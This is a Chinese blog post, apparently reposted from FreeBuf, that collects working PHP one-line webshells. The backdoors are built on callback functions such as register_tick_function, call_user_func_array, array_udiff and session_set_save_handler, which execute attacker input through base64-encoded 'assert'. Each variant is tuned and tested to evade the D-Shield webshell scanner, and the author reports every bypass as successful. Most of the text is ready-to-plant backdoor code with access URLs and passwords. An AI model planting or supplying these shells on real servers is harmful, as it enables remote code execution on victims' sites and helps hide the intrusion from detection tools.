PHP一句话木马研究

栏目: PHP · 发布时间: 4年前

内容简介:最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。现总结如下:

*本文原创作者:Gxian,本文属于FreeBuf原创奖励计划,未经许可禁止转载

最近在研究 PHP 一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。

现总结如下:

方案一:回调函数

回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

已被D盾查杀的函数:

array_filter()

array_walk()

array_walk_recursive()

array_map()

registregister_shutdown_function();

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce() 可疑(级别2)

array_walk()

array_walk_recursive()

1.register_tick_function()

构造一句话:

<?php      
declare(ticks=1);  
register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);  
?>

访问URL:

IP/XXX.php?e=YXNzZXJ0

密码:a

2.变种call_user_func_array()

尝试模仿正常函数调用,定义一个简单的function:

<?php
function newsSearch($para0){
    $evil=$para0;
    $exec=$_GET['id'];
    call_user_func_array($exec,array($evil));
}
newsSearch($_POST['tid']);
?>

使用D盾查杀。

0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>

OK!完美绕过!

访问URL:

IP/XXX.php?id=YXNzZXJ0

密码:key

同样的方法可以使用 call_user_func 函数,构造 shell 如下:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func($para1,$evil);
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>

3.变种array_udiff()

用相同的方法构造使用array_udiff()的shell:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;
    $exec=$para1;
    array_udiff($arr=array($evil),$arr1 = array(''),$exec);
}
$exec=base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'],$exec);
?>

访问URL:

IP/XXX.php?exec=YXNzZXJ0

密码:key

剩下的回调函数也可以用相同的方法绕过D盾。

4.session_set_save_handler

session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。

编写shell如下:

<?php
    error_reporting(0);
    $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function open($save_path, $session_name)  // open第一个被调用,类似类的构造函数
    {}
    function close()    // close最后一个被调用,类似 类的析构函数
    {
    }
    session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三个参数为read  read(string $sessionId)
    session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
    @session_start(); // 打开会话
?>

使用D盾查杀。 $session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:

$session=$_REQUEST['id'];

看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错!

尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:

<?php
    error_reporting(0);
    //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function test($para){
        session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
        @session_start(); // 打开会话
    }
    $session=base64_decode($_REQUEST['id']);
    // open第一个被调用,类似类的构造函数
    function open($save_path, $session_name)
    {}
    // close最后一个被调用,类似 类的析构函数
    function close()
    {
    }
    // 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
    session_id($_REQUEST['op']);
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三个参数为read  read(string $sessionId)
    test($session);

?>

完美绕过!


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

MATLAB智能算法30个案例分析

MATLAB智能算法30个案例分析

史峰、王辉、胡斐、郁磊 / 北京航空航天大学出版社 / 2011-7-1 / 39.00元

MATLAB智能算法30个案例分析,ISBN:9787512403512,作者:史峰,王辉 等编著一起来看看 《MATLAB智能算法30个案例分析》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具